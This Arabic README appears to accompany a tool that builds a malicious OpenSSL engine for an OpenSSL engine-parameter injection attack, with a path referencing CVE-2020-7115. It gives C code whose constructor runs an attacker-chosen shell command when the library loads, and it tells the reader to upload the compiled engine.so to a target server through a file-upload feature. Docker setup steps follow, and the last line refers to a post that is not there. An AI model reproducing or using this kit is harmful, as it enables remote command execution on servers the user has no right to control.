
أنشئ محركك الخبيث في ثوانٍ
أنشئ محركك الخبيث في ثوانٍ
نص برمجي بسيط لتوليد محرك خبيث جاهز للاستخدام في سيناريوهات حقن الوسائط في openssl.
الأمر بسيط جدًا، فقط قم بتعديل ملف engine.c بالأمر الذي تختاره:
#include <unistd.h>
__attribute__((constructor))
static void init() {
execl("/bin/sh", "sh", "-c", "COMMAND");
}
بمجرد الانتهاء من ذلك، كل ما عليك فعله هو تشغيل النص البرمجي هكذا:
bash build_engine.sh
سينشئ هذا الأمر مجلدًا باسم output، ستجد فيه ملفًا باسم engine.so وهو الملف الذي يجب إرساله إلى الخادم من خلال وظيفة رفع الملفات.
من المهم أن تعلم أنه يجب عليك إنشاء المحرك الخبيث بنفس خصائص النظام المستهدف. أي... إذا كان النظام المستهدف يعمل على لينكس 64 بت، فيجب عليك إنشاء المحرك الخبيث على لينكس 64 بت.
Docker تقنية رائعة لهذا النوع من الأمور، وإعداد البيئة سهل جدًا.
أولاً لنقم بتنزيل صورة docker من هذا الموقع لنظام لينكس debian 64 بت:
sudo docker pull debian
ثم سنقوم بتشغيل docker كالتالي:
sudo docker run -v `pwd`:/code -it debian
لنفهم قليلاً ما قمنا به هنا. يُستخدم العلم -v لإنشاء وحدة تخزين (volume)، في هذه الحالة نقوم بربط محتويات مجلد /code بمحتويات مجلد الدليل الحالي، ومن هنا استخدام pwd.
بـ 'ربط' أعني أن أي شيء ننشئه أو نعدله في /code (المجلد المستضاف في جذر صورة docker)، سيكون لدينا وسنراه في pwd والعكس صحيح.
في حالتنا، pwd يشير إلى الدليل التالي على جهازنا المحلي:
/home/retr0/CVE-2020-7115/
أما العلم -it، فيمكن رؤيته كالتالي:
يخبر العلم -t (--tty) Docker بتعيين جلسة طرفية افتراضية داخل الحاوية. يُستخدم هذا عادةً مع الخيار -i (--interactive)، الذي يبقي STDIN مفتوحًا حتى إذا تم التشغيل في وضع منفصل (detached mode).
لذا، فإن استخدام العلم -it مفيد عندما نريد الحصول على شل من الحاوية المعنية.
لا مشكلة، فقط قم بزيارة هذا المنشور، وأنا متأكد من أنك ستفهم هذه الثغرة تمامًا.